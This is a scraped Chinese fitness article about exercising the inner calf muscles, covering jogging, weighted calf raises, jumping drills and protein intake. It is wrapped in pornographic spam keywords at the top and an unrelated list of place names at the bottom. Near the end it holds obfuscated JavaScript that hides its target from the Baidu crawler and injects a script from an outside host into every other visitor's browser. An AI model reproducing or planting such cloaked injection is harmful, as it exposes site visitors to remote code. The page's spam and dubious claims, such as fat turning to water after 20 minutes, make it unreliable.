亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 健康 > 運動健身 > 正文

怎么鍛煉小腿內(nèi)側(cè)肌肉呢

2017-06-12 16:17:57  來源:360常識網(wǎng)   熱度:
導語:身體上的很多肌肉如果不經(jīng)常鍛煉的話,那么肌肉的功能就會受到很大的影響,這樣的情況下就會讓身體在活動的時候受到很大的限制。所以在平常

身體上的很多肌肉如果不經(jīng)常鍛煉的話,那么肌肉的功能就會受到很大的影響,這樣的情況下就會讓身體在活動的時候受到很大的限制。所以在平常的時候要注意鍛煉身體上的很多肌肉部位,這樣才能讓身體也保持比較健康的狀態(tài)。那么怎么鍛煉小腿內(nèi)側(cè)肌肉呢?下面我們就來詳細的介紹下。

一.每天堅持慢跑20分鐘以上,記住是慢跑,就是比走快一點的那種,且要堅持20分鐘以上,因為研究表明,體內(nèi)脂肪需要經(jīng)過20分鐘運動以后才開始燃燒轉(zhuǎn)換成水,前20分鐘消耗的只是體內(nèi)貯存的水分.

二.如果專門要鍛煉小腿肌,最有效的辦法是用腳尖踩在一個臺階上或一塊平板上(厚度不要太厚),然后負重踮腳,8個一組,一天做6組或更多,視個人情況定,每組間稍適休息,同時負重可以在每組中慢慢增加,3組一個循環(huán),以后過一段時間又可以增加負重量,一般來講這種針對小腿肌肉訓練,一到兩天下來就能感覺到小腿肌肉脹痛,腰經(jīng)常按摩之.

三.小腿肌肉強了并不是彈跳力就好了,要增加彈跳力有兩種方法,一是蛙跳,蹲下去全力跳起,做多少視個人能力定,一般運動員是在訓練完以后做一組蛙跳,一般是400米.二是站在凳子上面跳到沙坑里,然后奮力跳出,對增加彈跳也很有效.

四.增加肌肉和彈跳是一個漫長而系統(tǒng)的過程,要有耐心及恒心,同時也要補充營養(yǎng),主要是補充蛋白質(zhì),所以牛奶是少不了的,一般訓練后喝一杯,但也不能多喝,因為蛋白質(zhì)過多會引起腎臟負擔加重,總之凡事皆有度.

五.改變飲食習慣,最好是除了運動之外,日常飲食要吃脂肪含量低但仍有豐富熱量的食物,這主要來自碳水化合物。和單做運動相比,運動和節(jié)食雙管齊下的方法其功效是前者的五倍。

怎么鍛煉小腿內(nèi)側(cè)肌肉的問題,看過上面的介紹后,就能有比較清楚的了解了。在平常的時候一定要特別的注意鍛煉這些身體不經(jīng)常運動到的肌肉部位。這樣就能在用到的時候,不會因為肌肉功能下降而影響正常的功能性。對于保健身體是非常重要的。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
寿阳县| 政和县| 嘉善县| 泾阳县| 赣州市| 张家界市| 冷水江市| 二连浩特市| 招远市| 子长县| 西华县| 芦溪县| 元朗区| 连州市| 垣曲县| 鲁山县| 丰原市| 鲁山县| 西充县| 汾阳市| 潮安县| 三江| 确山县| 佛坪县| 宁城县| 祁东县| 同仁县| 额济纳旗| 盈江县| 阿城市| 聊城市| 江达县| 手游| 石首市| 巴青县| 方山县| 清徐县| 江阴市| 西城区| 永宁县| 三江|